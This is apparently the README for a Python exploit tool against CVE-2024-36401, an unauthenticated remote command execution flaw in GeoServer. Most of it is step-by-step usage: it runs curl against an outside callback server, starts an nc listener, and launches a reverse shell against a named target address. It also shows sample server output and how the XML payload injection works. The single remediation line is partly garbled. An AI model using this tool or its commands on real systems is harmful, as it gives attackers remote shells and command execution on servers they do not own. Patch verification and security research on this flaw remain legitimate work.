
An Python Exp For "GeoServer"
CVE-2024-36401 is a remote command execution vulnerability in GeoServer. An attacker can execute arbitrary commands without authorization by crafting a specific WFS (Web Feature Service) request.
pip install requestsThis tool supports two modes: cmd mode (execute commands directly) and reverse mode (establish a reverse shell).
Assume the VPS address is 111.46.112.85,
use the cmd mode to execute a curl command to test whether the target server can access the external network:
python exp.py cmd "8.147.134.121:32831" "curl http://111.46.112.85:8090/hello"
Verification method: Start an HTTP server on the VPS to receive requests:
# Execute on the VPS
python -m http.server 8090
If a callback is successfully received, you will see output similar to:
Serving HTTP on 0.0.0.0 port 8090 (http://0.0.0.0:8090/) ...
39.106.20.178 - - [04/Oct/2025 17:22:30] code 404, message File not found
39.106.20.178 - - [04/Oct/2025 17:22:30] "GET /hello HTTP/1.1" 404 -
Use the reverse mode to establish a reverse shell connection to the specified VPS and port:
Step 1: Set up a listener on the VPS:
# Execute on the VPS
nc -lvp 6666
Step 2: Run the exploit tool to initiate the reverse connection:
python exp.py reverse "8.147.134.121:32831" 111.46.112.85 6666
After execution, the tool will display output similar to:
[+] Response Status: 400
[+] Response Length: 1121
<?xml version="1.0" encoding="UTF-8"?><ows:ExceptionReport xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.0.0" xsi:schemaLocation="http://www.opengis.net/ows/1.1 http://8.147.134.121:32831/geoserver/schemas/ows/1.1.0/owsAll.xsd">
<ows:Exception exceptionCode="NoApplicableCode">
<ows:ExceptionText>java.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.fea
At this point, if the exploit is successful, the nc listener on the VPS will receive the reverse shell session.
Usage:
python exp.py cmd <target> <command>
python exp.py reverse <target> <vps_ip> <vps_port>
cmd: Execute a single command modereverse: Reverse shell mode<target>: Target server address and port, format ip:port<command>: Command to execute on the target server<vps_ip>: IP address of the VPS server<vps_port>: Port on the VPS to listen onThis vulnerability exploits a security flaw in the GeoServer WFS service by injecting Java code into the valueReference to execute system commands. The tool constructs XML payloads containing malicious code and sends them to the GeoServer WFS interface, thereby achieving remote command execution.
/geoserver/wfs to the appropriate content.Update GeoServer to the officially released security version in a timely manner and configure the server following security best practices.